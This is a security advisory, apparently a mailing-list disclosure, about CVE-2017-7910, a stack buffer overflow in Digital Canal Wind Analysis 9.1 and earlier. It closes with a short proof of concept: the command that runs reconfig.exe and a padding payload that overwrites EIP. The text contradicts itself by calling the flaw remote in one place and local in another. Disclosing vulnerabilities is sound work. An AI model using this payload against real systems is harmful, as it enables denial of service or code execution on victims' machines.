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Digital Canal Structural Wind Analysis Stack Buffer Overflow

2017-06-30 05:06
Vendor: Digital Canal Structural
Equipment: Wind Analysis
Vulnerability: Stack-Based Buffer Overflow
Advisory URL:
https://ipositivesecurity.com/2017/06/15/ics-digital-canal-structural-wind-analysis-stack-buffer-overflow/

ICS-CERT Advisory
https://ics-cert.us-cert.gov/advisories/ICSA-17-157-02

------------------------
AFFECTED PRODUCTS
------------------------

The following versions of Wind Analysis, a structural engineering software
platform, are affected:

Wind Analysis versions 9.1 and prior.

------------------------
IMPACT
------------------------

Successful exploitation of this vulnerability could cause the device that
the attacker is accessing to become unavailable, resulting in a denial of
service.

------------------------
VULNERABILITY OVERVIEW
------------------------

STACK-BASED BUFFER OVERFLOW CWE-121
<https://cwe.mitre.org/data/definitions/121.html>

An attacker may be able to run arbitrary code by remotely exploiting an
executable to perform a denial-of-service attack.

CVE-2017-7910
<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-7910> has been
assigned to this vulnerability. A CVSS v3 base score of 7.5 has been
assigned; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H>
).

------------------------
Exploitation
------------------------
Note: This is a local exploit, not remote.

Vulnerable application
reconfig.exe

Exploit -> EIP overwrite
C:dccwind9> reconfig.exe <payload>

Payload
“A”*576 + “B”*4 + “C”*420

+++++

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Source: 83/nuJ/7102/erusolcsidlluf/gro.stsilces

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